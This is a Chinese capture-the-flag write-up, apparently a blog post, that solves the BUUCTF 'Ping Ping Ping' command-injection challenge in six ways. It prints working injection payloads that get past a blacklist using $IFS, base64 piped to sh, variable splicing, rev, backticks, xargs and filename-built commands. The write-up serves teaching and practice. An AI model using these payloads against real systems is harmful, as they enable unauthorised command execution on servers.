BUUCTF-Web-命令执行-[GXYCTF2019]Ping Ping Ping

BUUCTF-Web-命令注入-[GXYCTF2019]Ping Ping Ping

题目链接:BUUCTF
类型:命令注入
知识点:命令注入黑名单绕过方法
解题方法:6种


解题过程

0x1.base64绕过

目标使用ip变量进行get传参,通拼接符号";"执行ls命令,发现目标过滤了空格


因为是linux环境,使用分隔符$IFS进行绕过

  • ?ip=127.0.0.1;命令$IFS$1参数

配合cat查看源码,发现过滤了很多绕过黑名单的关键字符,并且对"flag"名称字符串进行严格的过滤,所以直接使用cat查看flag.php肯定是不行,这边需要对"flag"字符串进行绕过

  • ?ip=127.0.0.1;cat$IFS$1index.php

尝试使用base64编码绕过,先在本地对命令进行base64编码,再通过管道符进行base64解码配合bash执行,但是由于目标用正则过滤了"bash"名称,使用换sh

  • base64 "cat flag.php"|base64
  • ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

    执行完后无回显内容,检查命令没问题,F12查看器在源码中发现flag,这种方式属于注释隐写

0x2.shell变量绕过

因为目标过滤了"flag"字符串,所以尝试使用shell变量拼接绕过,在赋值的过程中需要注意不能按照顺序依次对"flag"字符串进行赋值,因为目标使用正则对"flag"字符串单个字母一一检测,所以在赋值的时候打乱顺序

  • ?ip=127.0.0.1;a=ag;b=fl;c=.php;cat$IFS$b$a$c

0x3.反序绕过

和base64差不多,通过rev命令对包含"flag"字符串命令进行反序绕过对方黑名单检测

  • echo "cat flag.php"|rev
  • ?ip=127.0.0.1;echo$IFS$1php.galf$IFS$1tac|rev|sh

    查看网页源代码直接得到flag

0x4.命令替换绕过

在使用ls命令查看当前目录文件时,发现flag就在当前文件下,直接配合linux的命令替换符号内联一条ls命令通过cat查出当前文件下所有内容

  • ?ip=127.0.0.1;cat$IFS$1ls

0x5.xargs绕过

和反引号绕过原理一样,通过xargs将ls命令的输出作为cat的参数

  • ?ip=127.0.0.1;ls|xargs$IFS$1cat

0x6.反斜杠文件名绕过

这种方法一般用在参数长度限制,通过创建包含命令的文件名称,利用ls时间排序再通过管道符利用shell执行绕过,因为目标过滤了重定向符号">",但是可以直接使用touchu命令!

示例命令:cat flag.php

  • ?ip=127.0.0.1;touch$IFS$1.php
  • ?ip=127.0.0.1;touch$IFS$1ag\\
  • ?ip=127.0.0.1;touch$IFS$1fl\\
  • ?ip=127.0.0.1;touch$IFS$1\$IFS\$1\\
  • ?ip=127.0.0.1;touch$IFS$1at\\
  • ?ip=127.0.0.1;touch$IFS$1c\\

使用ls -at按照最新时间排序

  • ?ip=127.0.0.1;ls$IFS$1-at

再使用管道符配合shell通过文件名称执行命令

  • ?ip=127.0.0.1;ls$IFS$1-at|sh

    0.0.1;ls$IFS$1-at|sh`
    [外链图片转存中…(img-7hL60XaE-1646794898118)]
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值